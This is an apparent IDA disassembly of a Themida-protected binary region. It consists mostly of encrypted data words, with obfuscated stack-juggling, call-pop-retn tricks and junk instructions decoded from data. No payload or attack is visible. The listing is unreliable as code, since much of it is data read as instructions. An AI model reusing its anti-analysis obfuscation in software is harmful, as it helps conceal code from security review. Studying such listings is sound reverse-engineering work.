dd 0B6052B8Bh, 0C7163C9Ah, 31FE2D8Dh, 0E7C78DDCh, 0FFDF73C1h
dd 0E4C286D9h, 0C1E16BBEh, 2CA6D7F8h, 0F516B68Eh, 70BDC29Ch
dd 0B55BB726h, 0E124109Dh, 1E042380h, 1475C48Eh, 9DB4E965h
dd 8953B210h, 78D4654Bh, 0A4E7775Bh, 0EE2F3E14h, 0B917458Fh
dd 51E06CBDh, 5270DC6Dh, 5C7B0B56h, 8564DE29h, 0E5C24316h
dd 55E470BDh, 1E3DAC34h, 3A7AD3Ch, 0FD4F99B1h, 2002A0ACh
dd 5FAEBF8Dh, 0FEE64B23h, 0BB8ACA17h, 38094997h, 0E7CE6BA7h
dd 0F5AD1E54h, 0F7E32264h, 0BABD2421h, 996EE81Dh, 0D637F622h
dd 0D22F18B7h, 980F46E1h, 89E866F8h, 9E2F113Fh, 2CBB9FAEh
dd 0CD3F1524h, 1933863Ch, 64697B9h, 31A37h, 7BB80000h
dd 0E571BDE1h, 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h
dd 92C20F33h, 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 89512215h
dd 4C181E1h, 83000000h, 0C8704E9h, 24248B24h, 230168h
dd 242C8900h, 490068h, 243C8900h, 74B26850h, 48B4BABh
dd 4C48324h, 0B3A46135h, 58C5894Dh, 471668h, 24248900h
dd 4240483h, 8B9515Fh, 1000000h, 0BB53F9h, 1000000h, 5B2B89CBh
dd 243C8B59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_58442C
; ---------------------------------------------------------------------------
db 0AFh
dd 0BBE40734h, 91B6FFC6h, 437AD038h, 0DA54B882h, 0C5030618h
dd 0E92EE0FFh, 61624382h, 0B5AA0640h, 3CCB3C5Dh, 8C361113h
dd 0DDC606F8h, 478C149Ah, 83DE749Ah, 0D3C07BBEh, 93EA428Eh
dd 0AF184840h, 36B76F06h, 1AE47D7Fh, 0E6B1368h, 5DC769CCh
dd 16386810h, 0D73649D1h, 0DEC527F0h, 5C347D79h, 0B0E5795Fh
dd 5E960230h, 784324D8h, 1C3E6A82h, 0FE877EBh, 0F5000000h
dd 7380EEE2h, 944ADE36h, 791C9A1Fh, 8166CC1Dh, 5A6836F0h
dd 68D0Fh, 0D7810000h, 47E3C39Fh, 7428C281h, 9E90000h
dd 0A000000h, 84A1AEAh, 47BEAEB1h, 1CDDBBh, 0BA666000h
dd 0CB8066E0h, 0A8B618Ch, 81CADC80h, 0A7DB09F1h, 0D860F12h
dd 0E9000000h, 8, 590AFDB6h, 9F25893Eh, 0A216E981h, 0F1810D9Ch
dd 6FF99229h, 3DFEF81h, 0A896F33h, 7161F081h, 0EA831D79h
dd 0FFBF0F04h, 20850F4Bh, 0E9000000h, 0Fh, 0D35825B8h
dd 48C14493h, 0DD286A69h, 0E90D772Fh, 17h, 3FA9AC53h, 80E25C0Dh
dd 93E957E0h, 67FFFFFFh, 3DF788E7h, 0EB732C56h, 24h, 8 dup(0)
dd 0BDE900h, 0B5890000h, 618DC0Bh, 173D858Bh, 858B0613h
dd 61320F1h, 0DC55B58Dh, 858D0618h, 6164483h, 55C3D0FFh
dd 0E8h, 0ED815D00h, 618DC5Bh, 173DBD83h, 0F010613h, 2C85h
dd 0BB5FF00h, 8B0618DCh, 1320F185h, 27363506h, 0D0FF3481h
dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
dd 18DC0FB5h, 0B5FF5606h, 618DC0Bh, 20F1858Bh, 36350613h
dd 0FF348127h, 0CC483D0h, 0DC0FB58Dh, 468B0618h, 4E08314h
dd 0F04F883h, 784h, 0E9C03300h, 5, 1B8h, 3DBD8300h, 1061317h
dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h, 18DC3485h, 6D858906h
dd 0E906130Eh, 9Ch, 4DBAA49Dh, 94h, 5, 1, 0A28h, 2, 76726553h
dd 20656369h, 6B636150h, 3220h, 1Dh dup(0)
; ---------------------------------------------------------------------------
jmp loc_5DABDB
; ---------------------------------------------------------------------------
push 618DF3Ch
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618E041h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618E16Ch
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618E1D9h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618E309h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618E362h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618E694h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 618E793h
jmp loc_58442C
; ---------------------------------------------------------------------------
db 0B0h, 22h, 34h
; ---------------------------------------------------------------------------
xchg eax, esi
mov ah, 22h
loc_5DA0C3: ; CODE XREF: Themida_:005DA0D7j
; Themida_:005DA0DFj ...
sub al, 8Eh
lodsb
sbb [edx], dh
xchg eax, esp
scasb
sbb eax, 20AD9333h
xor al, 96h
cmpsd
mov [ebx-2Ah], ah
jle short loc_5DA137
jp short loc_5DA0C3
push 75D3684Ah
push ebp
jnb short loc_5DA0C3
push 4Ch
jg short loc_5DA145
sub eax, 16B691B1h
jp short loc_5DA113
mov eax, 0C30D3F92h
sbb [ebp+6D51E06Ch], edi
fdiv qword ptr [eax+52h]
push esi
or edi, [ebx+5Ch]
sub esp, ecx
mov ds:3055168Eh, al
and eax, edx
; ---------------------------------------------------------------------------
db 72h
; ---------------------------------------------------------------------------
lahf
mov cl, [edx]
leave
cmp eax, 0CD0A0CCh
lodsd
pop edx
loc_5DA113: ; CODE XREF: Themida_:005DA0EAj
mov dl, 90h
aas
adc [ebp-1CDDCCE1h], ebp
fld st(2)
add ss:[eax], al ; CODE XREF: Themida_:005DA15Aj
add [eax-1437415Dh], bl
jp short near ptr loc_5DA0C3+1
cwde
mov ss, word ptr [esi]
insb
sub [eax], ebx
jmp near ptr 0AE82A9Dh
; ---------------------------------------------------------------------------
db 0A5h, 17h, 3Bh
; ---------------------------------------------------------------------------
loc_5DA137: ; CODE XREF: Themida_:005DA0D5j
sub ch, [eax]
xchg eax, ebp
mov bh, 0A6h
jb short $+2
mov ebx, [edx+1A42B753h]
pop edx
loc_5DA145: ; CODE XREF: Themida_:005DA0E3j
db 3Eh
lods dword ptr [esi]
pop edx
cmp al, 16h
mov dword ptr [ebp+0F5DC43h], 0DBFF0000h
mov ecx, eax
neg dword ptr [ebp-43h]
insb
loopne near ptr loc_5DA11E+1
fist word ptr [ecx+1]
mov bh, 28h
sub eax, ds:959037E3h[ebx*8]
cmp dh, [edx+644311A0h]
db 3Eh
out dx, eax
db 65h
pop ebx
or al, 0CFh
lock jge short loc_5DA198
xor [esi+7ABEA10h], bl
mov dh, 96h
mov dword ptr [esi+7Eh], 6443095Ch
db 3Eh
jmp far ptr 95B9h:28B0D160h
; ---------------------------------------------------------------------------
dw 4A44h
dd 2F9EF86Dh, 2667109Eh
; ---------------------------------------------------------------------------
loc_5DA198: ; CODE XREF: Themida_:005DA174j
aaa
fld tbyte ptr [edi]
sahf
adc [esi+ebx*4+4322430Dh], ah
arpl ax, si
or ebp, [esi+ebx*4]
adc [ebx+2], dl
dec edx
insb
inc esi
rep pop ecx
or [ebp+esi*4-5F2A0D2Fh], ch
sub ebx, es:[esi+26AEEF10h]
cmp esp, eax
sal dword ptr [eax], 8Fh
push ss
call far ptr 0E169h:0AFE559B5h
wait
push es
xor dl, [edx]
stc
retf
; ---------------------------------------------------------------------------
db 0DDh, 0BCh, 0DDh
dd 0DEA8C1FDh, 23898C01h, 65621075h, 751096F0h, 5F3E5F04h
dd 490B5A80h, 0D1664C69h, 4B2A20B4h, 0FF519BFAh, 69AFA2B2h
dd 0A679FA6Fh, 92DCA07h, 6DF90000h, 57E7C9E9h, 5FF1D7F7h
dd 56E5CBEBh, 67F6DCFAh, 51DECDEDh, 7A7AD3Ch, 1FBF9321h
dd 4A2A639h, 0E1C18B1Eh, 0C86F7D8h, 0D516B694h, 70BDA2BCh
dd 0DEBF9321h, 0C68AD901h, 67FAE0FEh, 0A36BC5E5h, 7AEBC8BEh
dd 168E989Bh, 6673F3DCh, 0B265248Dh, 468EBC10h, 634764A9h
dd 2E5F7CD4h, 0A8A6CB4h, 11D0187Dh, 8A6D62E0h, 0BC4DB90Ah
dd 0AD52C090h, 0CF685Ah, 0BDCE0000h, 0C28E1D6Ch, 6EFF4DE0h
dd 0DBFF4E2Fh, 677C68Eh, 109DB101h, 0A2FC714Eh, 6B109DAFh
dd 1DB0A22Ah, 18A98F2Fh, 0E2072534h, 0AC3C53E1h, 9A6C7A6h
dd 783DA41Eh, 5AC95D47h, 0BCBCBA57h, 78656F0Eh, 8DDE0005h
dd 60F1D916h, 0C2E8DECh, 2AA4D9BDh, 0F30A89CBh, 6062F392h
dd 0ADEC7DCBh, 0DAD604CCh, 4AC4398Fh, 7E0A89CBh, 0CF4E1F29h
dd 5F7C1D80h, 74291C2Eh, 0D3F01510h, 0D4F262EFh, 80F55FEEh
dd 79F9823Eh, 2885C067h, 0FE000008h, 2208A6B0h, 3A20BE90h
dd 2406A4A6h, 3B1DBD93h, 1508A6AEh, 0F064F11Ah, 0F260F0D2h
dd 0EF59EED4h, 0F458E9CFh, 93C20DD6h, 16B69537h, 0BDB5A900h
dd 0E4C6E470h, 0F3DCFB51h, 0EDB27156h, 0E9E7F193h, 0E06CBD4Fh
dd 1571E4C3h, 0DE109DB5h, 99B635BFh, 0B4CB47B6h, 0D104109Dh
dd 109DB575h, 4A90DF3Eh, 850455F7h, 67FADCE4h, 0DABB8D22h
dd 713D2FDh, 92CB3CF1h, 8B46C035h, 8E0F109Eh, 0D1181846h
dd 6DE716B5h, 0A2168640h, 0ADF65085h, 5EBF0A85h, 17B4D996h
dd 0DAAA233h, 32BA9625h, 0ADE5B124h, 88DF0A85h, 0A8A16834h
dd 8563D935h, 3C63A20Ah, 0CCAD741Dh, 0B6E6D1EEh, 0C4385A31h
dd 0AA2C22AAh, 5CEBD811h, 452465F4h, 0F7664966h, 0A84CD9Bh
dd 68972164h, 1075BEC9h, 79D7684Ah, 0C21FA9E8h, 6C2DA043h
dd 0E77294Ah, 0E114B3D3h, 7699BA48h, 3775C449h, 6775432h
dd 7083B8B9h, 0DFC8E726h, 1EEA3216h, 2B28B089h, 0BB95260Ch
dd 0BE8E1F31h, 0E2A73A20h, 0A7AD3C51h, 47167796h, 7AB2A7C6h
dd 8FDA0417h, 6FDFDD8h, 9D290000h, 0A73719B9h, 8F2107A7h
dd 0A6351BBBh, 97260CAAh, 12E1DBDh, 0D7F75DECh, 0CFEF63F1h
dd 0D4F256E9h, 0D1F15BEEh, 3C96C708h, 516B696h, 0BEA3B28Ch
dd 0D96C3B02h, 0E180D15Ah, 0FA3993C2h, 9FFE1685h, 0C3C81A40h
dd 2221876h, 0A51421E2h, 0AF1475C4h, 1CED111Bh, 0EBCBAA4Bh
dd 88D975C5h, 2459F346h, 800AD4AEh, 901D38EFh, 96000006h
dd 8AB00E48h, 92B81638h, 8CAE0C3Eh, 93B5153Bh, 7DB00E46h
dd 480C59B2h, 5AF8486Ah, 4701567Ch, 5CF04167h, 0FB6A757Eh
dd 16B6959Fh, 0A30D3168h, 7AEBC8BEh, 16856A22h, 0E2FCE0E7h
dd 80B0980Ch, 0DFC4680Eh, 9DFCFEE2h, 81C71C3Eh, 4A8751B0h
dd 5877D568h, 1FADE272h, 82E32233h, 7552B3h, 0A851286h
dd 0D806CE4Fh, 0D4F38FD8h, 851231A1h, 51E0E20Ah, 0B2D33203h
dd 11F352A3h, 0D4A0A85h, 0A7B69225h, 97345E66h, 0A6BBA775h
dd 450F5Ah, 0A3330000h, 0C6E9C6BCh, 0DD71C1E9h, 9DB532ACh
dd 529AFB10h, 9DB55BB3h, 68F91C10h, 9DB4B919h, 5761010h
dd 86007552h, 0BF109DB4h, 9DB3D44Eh, 0EB789D10h, 0FABA22AAh
dd 625CBE19h, 7, 1B6C4F8h, 0B96A0000h, 0DBABB6DFh, 0A5E889FCh
dd 4169168Eh, 0D7945CF0h, 0B4B855B6h, 22B9240Ah, 0ED20BFC7h
dd 60D0EA54h, 0AF933055h, 44A32D1Dh, 268501E8h, 0BAEA88B7h
dd 3390F55Ah, 9DD0BE0Fh, 4EB65A41h, 0CCEA8B0Ah, 0CA3B53E6h
dd 4EB65A50h, 0E095F419h, 0C43BB87Ch, 60C702A9h, 0C6000005h
dd 0DA00DE78h, 0C2E8C688h, 0DCFEDC6Eh, 0C3E5C58Bh, 0CD00DE76h
dd 98BC0962h, 8AC8183Ah, 97B1062Ch, 8CC01137h, 0CB3A252Eh
dd 16B6984Fh, 0BD5D0118h, 7251E06Ch, 0B4A62055h, 2E6F109Dh
dd 374F9AA6h, 94886598h, 8C11168Eh, 93B90C2Eh, 0FF28CDEh
dd 0CB06A580h, 507h, 0E3C3931Fh, 0C1E16DBDh, 0DDFD4DDFh
dd 0C6E46CFBh, 0DFFF55E4h, 9B2A43ECh, 0A93719B9h, 942709A9h
dd 0A13416B4h, 213E0BABh, 0B69872ECh, 7CE63B16h, 51E06CBDh
dd 90FC5072h, 9DB5015Dh, 2A4BCA10h, 0E0F2FA1Bh, 0A86EFF4Dh
dd 50E1912Ah, 0B686DEFCh, 1EA341E6h, 3Bh, 4BE0C244h, 0A2C7F3FDh
dd 0F96C7E4h, 30168EACh, 7CF1CEEDh, 0A8A9522h, 0FC4B0556h
dd 61904F99h, 0A8A94E1h, 0F3DCE38h, 5AAD0A41h, 7BE9h, 40E5CA00h
dd 5D35D8B1h, 0A389539Dh, 0CCEBC8BEh, 9DB53D99h, 23870610h
dd 2936BE96h, 8EFBE1B4h, 5C7B9A16h, 4D6AE476h, 26B6D565h
dd 9DFC1D2Ch, 55834DCCh, 0D8D34F78h, 31E29545h, 1EF958A7h
dd 0A4350A8Ah, 22D0AA8h, 36C9394Bh, 0CE3F9CFCh, 0A8A1654h
dd 0DEF0F81Dh, 1433024Ch, 8AF992Eh, 40CB8A49h, 0F4A922Bh
dd 413h, 0D9B90A30h, 8A5B2AA4h, 0F392F30Ah, 3F992362h
dd 0EBC8BEA3h, 8EAFAF7Ah, 24355816h, 8EFF8F22h, 0A8A9A14h
dd 88D9B8DDh, 51BFE8D7h, 0D771C6FFh, 590481F0h, 0B484F58Fh
dd 8BFAD9ADh, 107B8B9Eh, 0A4293B7h, 0C3E025C2h, 0D6FD4DDFh
dd 0EA82864h, 0CE0CD457h, 0C123C6F1h, 1227CF1h, 0AAEB0477h
dd 0E48FE605h, 0E567FADCh, 86507754h, 23496D3h, 0FFEA569Eh
dd 0DFFF2887h, 0FF36318Fh, 0C63724ACh, 0A684253h, 96B8890Ch
dd 0BD194C44h, 86FE643Bh, 0F3D76607h, 95AEB63h, 0AF05F089h
dd 371BCC3Dh, 2E20A8A8h, 3411B19Bh, 40B4D40Bh, 0BDE150E9h
dd 3455E470h, 2D5990ACh, 0BF4AA98Eh, 83D27ECDh, 2C3C9D02h
dd 3215428Ah, 9A66E015h, 0EE2FFE64h, 869AA7E6h, 2830455h
dd 8EBE0F33h, 94B80931h, 0ED7C44C5h, 0C73658E9h, 0F851864Bh
dd 0C190F114h, 10212D7Dh, 0CF992FCh, 0F3C536B8h, 0CA3B98EEh
dd 0FE4272BFh, 644665A8h, 63717BD1h, 0D160EC3Dh, 65F460EDh
dd 570B80F2h, 28684606h, 0F7664541h, 0F82F60A2h, 272B3A5Bh
dd 0B1A7B696h, 0E3FECA3Fh, 7CD104A3h, 0A5F21C4Ah, 0CE3B427Ah
dd 59632067h, 0C29890Ch, 7560BA2Bh, 6499E618h, 0E61874EAh
dd 800552B3h, 89C31638h, 94396B8h, 12746DA9h, 62E540B5h
dd 2F6EEC09h, 5F6FEF1Eh, 4CC6E005h, 4CCF8DAFh, 3D776C26h
dd 0CB000000h, 0EBC8BEA3h, 8E989B7Ah, 0D2666C16h, 192824B5h
dd 0DBF899F8h, 58E969F7h, 0C130AF39h, 0A8A8941h, 2ADD6E98h
dd 0C697B508h, 7445A481h, 99F87BDAh, 7BC9874Fh, 0D9715AADh
dd 0C5000000h, 8D1D6CBDh, 701170C1h, 0C8BDE2E1h, 0A925584Dh
dd 72109DF7h, 59C2AC13h, 3786C810h, 0B70A4C1Dh, 2F82C495h
dd 0BFA0BD1Dh, 9EABD44Eh, 95B30810h, 97F645C4h, 0A8D9BE4Dh
dd 9021109Eh, 0A93C1EBCh, 4B9692A3h, 0FC699C3Bh, 0A5168F78h
dd 0CC5F4360h, 56E9ED7Ch, 432263F2h, 0EE7FCF5Fh, 0F73725AFh
dd 0C63794F2h, 1075E02Ch, 0CFF3D035h, 0CEF4D282h, 6CE6177Fh
dd 350475CDh, 74BCB1D0h, 7979FB2Bh, 1D597B2h, 5510000h
dd 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h, 0FF4E7452h, 0E9467555h
dd 0BF1F3584h, 0A7074B99h, 0BC1A2E81h, 0A9094396h, 0D44EBFA0h
dd 9D16B69Ah, 0E5C2DA84h, 5A717BAh, 9CCD1511h, 109E3142h
dd 0B82D8A0Bh, 109E315Eh, 0FCDEE627h, 0E1C7E76Dh, 84DEFC50h
dd 0EBC8BEA3h, 8E989B7Ah, 0D4666C16h, 0CBAAEB7Ah, 888B0B7Ah
dd 0A8E20A8Ah, 3E2BE913h, 0CF935AADh, 0A7000000h
dd 197CDDC2h, 8C7F4E84h, 8DBF1244h, 94B9ABCh, 93C2C938h
dd 2B0F109Eh, 292BB59Dh, 0B87F698h, 0D4109E93h, 0D0F2D0B1h
dd 617ECF7Dh, 0B2404E76h, 0AC34A692h, 8E2D5990h, 35F8EB1h
dd 0CC109E6Fh, 95007F49h, 3E168F3Fh, 3EBFDE19h, 0ADCC2A12h
dd 0B3992C0Eh, 7B5963A2h, 4360263Bh, 4CC1CF5Fh, 0A8B97D2h
dd 4A1B7A9Bh, 0F757E7CBh, 0A07DF0EDh, 691075F5h, 16A38724h
dd 2BBAA03Eh, 4FA63429h, 10D779FBh, 0D635h, 54025000h
dd 4C025476h, 52F84C6Eh, 53FD4E74h, 54004D73h, 83E84776h
dd 9AC01E36h, 88AA084Ah, 93B51533h, 9FAC0A42h, 9BD14DC0h
dd 879A16B6h, 51E0C2DBh, 9D33203h, 0FCDA7AC7h, 0E9C983D6h
dd 0F953E6CCh, 6CBD65EFh, 0DC6D51E0h, 1745370h, 109DB485h
dd 0D6E8CF4Eh, 0AE23669h, 0BAF6E4ECh, 85F8D7AFh, 16853007h
dd 0AB595B44h, 2010BEC3h, 7BCA4B98h, 68460657h, 7E5DEF42h
dd 0C4B22C61h, 1A7B0A83h, 133413D2h, 83C568E2h, 0CFEC310Ah
dd 83C5449Eh, 40880D0Ah, 2609F2C1h, 0A2175B55h, 0CFEF5DF0h
dd 0D7F458E9h, 0BD414AF0h, 0BDF9DE6Ah, 489721A5h, 3C9BB506h
dd 0B889C316h, 0FCD08F59h, 0F849F992h, 1547654h, 0F2466C4Bh
dd 0F4D19058h, 3, 0BDE17B5Ah, 7254E571h, 0FADC6DDFh, 7052E365h
dd 0DFE372E0h, 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh
dd 2215242Ah, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
dd 85682434h, 8900006Ch, 0DD68242Ch, 89000011h, 0EABD2414h
dd 56342C71h, 1393F7BEh, 5EF5292Eh, 0D8368h, 24248900h
dd 4240483h, 8B8505Ah, 2D000000h, 3C7B522Dh, 2D05D001h
dd 893C7B52h, 148B5828h, 0E0895024h, 405h, 40500h, 4870000h
dd 34FF5C24h, 0C4815D24h, 4, 0FA985BE9h, 0D0F20DFFh, 16EC3974h
db 0F6h, 11h, 0CEh
; ---------------------------------------------------------------------------
loc_5DABDB: ; CODE XREF: Themida_:005DA068j
mov eax, 618E88Eh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
mov al, ds:9E008413h
xchg ecx, esi
db 3Eh
xchg eax, ebp
mov byte ptr [ecx+edi-47h], 61h
mov eax, 2A589C52h
cmp [ebp+18EA168Dh], ecx
push es
mov edi, [ebp+6133181h]
mov [ebp+6131BBDh], ecx
push 0
push ebx
call sub_5DAC15
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DAC15 proc near ; CODE XREF: Themida_:005DAC0Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5DAC15 endp
; ---------------------------------------------------------------------------
db 0EDh, 0FFh, 97h
; ---------------------------------------------------------------------------
adc [ebp+79h], edi
pop esp
mov eax, [ebp+61328C1h]
mov dword ptr [ebp+61318DDh], 72F0h
push 0
push edx
call sub_5DAC47
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DAC47 proc near ; CODE XREF: Themida_:005DAC3Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5DAC47 endp
; ---------------------------------------------------------------------------
or cl, [edi-2B10C1B9h]
jle loc_5DAC67
mov di, 4BD7h
loc_5DAC67: ; CODE XREF: Themida_:005DAC5Dj
mov dword ptr [ebp+6133055h], 0
push 0
push edx
call sub_5DAC7C
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DAC7C proc near ; CODE XREF: Themida_:005DAC74p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5DAC7C endp
; ---------------------------------------------------------------------------
push esi
dec esp
sbb ax, 9157h
push dword ptr [ebp+6131B65h]
mov ax, 937Eh
call dword ptr [ebp+6131D89h]
push 0
push ebp
call sub_5DACAE
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DACAE proc near ; CODE XREF: Themida_:005DACA6p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5DACAE endp
; ---------------------------------------------------------------------------
dw 1EA6h
dd 0D917DE4Dh, 0E92316B3h, 0Dh, 0D772FDDh, 0AD8936A4h
dd 6A0C2474h, 0FF006A5Dh, 130DA995h, 0EBC08B06h, 5D8A2049h
dd 9D7C59F8h, 0BD305FA2h, 869FD9BBh, 0E5C09FC3h, 81047C6Ah
dd 0A622E3E0h, 0E92DE624h, 7FBC4B97h, 2E1905DFh, 0C60B6867h
dd 0BDF6AA4Fh, 0AAEEEC51h, 0D67B2BAFh, 72D7CB71h, 75743C53h
dd 0EFF6FC5Bh, 1DAAC45Ch, 20E947FFh, 35000000h, 5238F0h
dd 6 dup(0)
dd 0E9000000h, 58Ch, 7757FF4Bh, 6D4D0151h, 7151F94Bh, 7250004Fh
dd 73530150h, 2F7EEF40h, 15A38525h, 28BB9D3Dh, 0DA08220h
dd 8DD29F3Fh, 0B69EFE58h, 6D52C716h, 0E6C42A42h, 0EAF23CE8h
dd 4FE0C270h, 4495B701h, 0C8153908h, 0B90C2E8Ch, 2D80C293h
dd 0BA0C4E1Fh, 0E012C594h, 6026B76Bh, 0FF179B05h, 8A6C716h
dd 0D6B10327h, 1EA6C781h, 2A1A73Ch, 0BAAD521Dh, 6A721960h
dd 91F1466Ch, 527B1B8Dh, 54E584F4h, 5370E272h, 0DE6FDF6Fh
dd 71ED20BFh, 3A109DD2h, 7E5211DBh, 78CB7714h, 7DD0F2D0h
dd 8E0F7ECFh, 7109DD1h, 0EB5DF2D8h, 0D23D99CCh, 8706109Dh
dd 1636D33Dh, 0A341F746h, 97EEh, 6CBD5400h, 507251E0h
dd 0FA895301h, 109DB49Eh, 72E3C413h, 109DB518h, 0EE1FBCE1h
dd 109DB574h, 7610D83Dh, 0EA19D705h, 1C1A341h, 95000000h
dd 50E16DBDh, 5572DC6Eh, 52005072h, 77D38203h, 40109DB5h
dd 725413DDh, 6A506FE1h, 65F9ADD5h, 0A4922A1Fh, 0FB6CFBC5h
dd 6D550277h, 0BFDE6FDBh, 0F8932335h, 6F54E563h, 30B6D662h
dd 0D4FB9AC1h, 5373E399h, 0B51273CDh, 42133F8Dh, 252DFC3h
dd 0CC0AD233h, 0D979C7EBh, 8DBF0988h, 50FC4D3Ch, 891E8001h
dd 6200DEBFh, 55E470BDh, 0DC6DE171h, 55E466FAh, 0E170E471h
dd 0AB57F4DEh, 0E627361Eh, 58F15F87h, 9A391BAAh, 8A2927B8h
dd 9DB4FF5Bh, 7B45C810h, 62EA7B5Dh, 0C0CA5D45h, 9DB4D14Dh
dd 1A7B9A10h, 9D2F13D2h, 0D179CBEFh, 9DB526A0h, 0CFAEEF10h
dd 7F5CC7F0h, 8DDC74C3h, 0A701A70Ch, 0C998B206h, 409F2948h
dd 0C9183A19h, 3095BA8Bh, 23ADE8A3h, 28C5435h, 95856389h
dd 702DA341h, 11000000h, 1670E5C2h, 0DF109DB5h, 952436BEh
dd 18ACAEBFh, 42B02332h, 88CC19C9h, 9BB9082Ah, 193788CAh
dd 54E52148h, 0F55184A3h, 29109DB4h, 60A5B296h, 0E8200058h
dd 0E5C2A341h, 0A01E74BAh, 0BEAF9B17h, 109EAB64h, 0AAEE689Dh
dd 56B7109Eh, 0DA6EC109h, 616B0A8Bh, 323Ah, 70BD2000h
dd 0DE7155E4h, 0D2654D6Ah, 0DCFF6E76h, 408D45B6h, 0BD1CB614h
dd 2150E16Dh, 109DB4A0h, 54E4C619h, 1F9CF6FEh, 41EA3FFDh
dd 1A7A3h, 0BDBB0000h, 4C8EDF6Bh, 0CE0253F9h, 0E97B27A4h
dd 1C454161h, 0D2654D6Ah, 55E3E776h, 4C2D6CFDh, 52785784h
dd 9BFA4BFDh, 0B1E3B251h, 7194168Eh, 14BDEE0h, 5B2E7FA1h
dd 93F2430Bh, 9DAC9C2Fh, 0F4C1D7Ch, 64F39E2Bh, 5D3C5DECh
dd 0C4438D0Ch, 0A8AB048h, 0CF781181h, 0B0217DF0h, 0ABEA0A8Ah
dd 0AE9E2F21h, 0B5972A10h, 3D0FA2A4h, 4FEC662Ch, 9C3A12A3h
dd 0AD117040h, 14FD85Ah, 0C27E0000h, 0B51670E5h, 0BEDF109Dh
dd 0A7DF0A36h, 0BC8E2208h, 73B62734h, 0C168EBCh, 4396B889h
dd 3687A909h, 22084716h, 4E70C193h, 9FFE4FF9h, 51E4F6FEh
dd 0D3686AFBh, 4FE2E475h, 77FB6CFDh, 73A44D02h, 0EBFBDB6Ch
dd 55E6648Ah, 0FBA37DA2h, 15D7B169h, 1D2C20B1h, 4FE2F4FCh
dd 0B785DDFDh, 1F5AADD3h, 59h, 51DDC243h, 1979B7E2h, 45B5761h
dd 5C7E617Eh, 96F7460Ch, 7F43BF4Eh, 0B4C6F62h, 9DE880DAh
dd 291FB490h, 86D7FB1Ah, 6796A7C6h, 909DE7EBh, 420683EDh
dd 0F46E9F25h, 0BD909DE7h, 6BE57658h, 0FDDABBDAh, 627EEE88h
dd 0F64367EFh, 468E0F5Eh, 6B4664A9h, 91h, 4BE0C2C7h, 0C8A9AB3Ah
dd 6AFB55E6h, 4C95A12Bh, 0D766E677h, 85F8D7B6h, 168EA178h
dd 2E2D3C61h, 11C40E09h, 5DBC8DC1h, 88B43E76h, 0A9B89226h
dd 0DB6E6068h, 0DE6F5171h, 2DAEDF6Eh, 6E0A8A92h, 0AA3BE764h
dd 8F1D05A2h, 0DBDBF9C3h, 32A30086h, 10723B3Bh, 183286ACh
dd 6300C849h, 9E2F1322h, 94C99FAEh, 4C85C0ABh, 7B452895h
dd 0B9B07811h, 10C9EECDh, 2FDF095h, 0F1CE0BD5h, 89D87CC9h
dd 3657F345h, 0C50F4594h, 58792F46h, 0CDED300Ah, 0C8BEA373h
dd 3EE3CCEBh, 2847DA19h, 0BBB2519Bh, 2C168614h, 8600B03h
dd 9F3097B5h, 40AD3791h, 6B4F8CDDh, 686A72DAh, 291FB4D5h
dd 3A98F918h, 91DC321Dh, 6D246538h, 6CE07163h, 6CDCACDDh
dd 28BC3EA5h, 0A12F1322h, 0E26A36EBh, 4D2C73AAh, 92276BFCh
dd 8BAF90A3h, 3FC9133Bh, 87C518CAh, 9CB00127h, 503A89CDh
dd 942AEADAh, 6CCA80C2h, 869A9B00h, 0E8FC4D2Ch, 0CC5D15A6h
dd 0AD002280h, 0A991CE9Fh, 0E2233216h, 11FFDAh, 0F7E00000h
dd 38749190h, 0C981D30Ch, 70781978h, 0BDE17BE6h, 7254E571h
dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E78957h, 4C7h, 4BE5600h
dd 29000000h, 3C875EF7h, 89525C24h, 4C281E2h, 83000000h
dd 148704EAh, 1C895C24h, 0E7895724h, 4C781h, 0EF830000h
dd 243C8704h, 243C895Ch, 18EA8E68h, 241C8B06h, 4C481h
dd 0EC830000h, 24248904h, 4240483h, 3481535Fh, 36100B24h
dd 8478F37h, 100BBE56h, 77313736h, 3C8B5E08h, 0E0895024h
dd 405h, 40500h, 4870000h, 1C8B5C24h, 0E2895224h, 4C281h
dd 0C2830000h, 24148704h, 9156E95Ch, 0EDD7FFFAh, 0DA3D931Ah
dd 4D1D4049h, 0E757545Bh, 18EF76B8h, 0FFC50306h, 6F1FCDE0h
dd 37F27206h, 0ADAEE17Eh, 795F6351h, 923DBF64h, 1843553Fh
dd 0A4203865h, 99B55425h, 0A8E75233h, 38A04F5Ch, 0D8408607h
